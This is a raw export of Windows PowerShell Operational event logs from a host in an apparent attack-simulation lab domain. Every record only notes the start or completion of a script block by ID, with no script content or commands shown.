Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034687
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034685
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034684
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034667
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034661
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
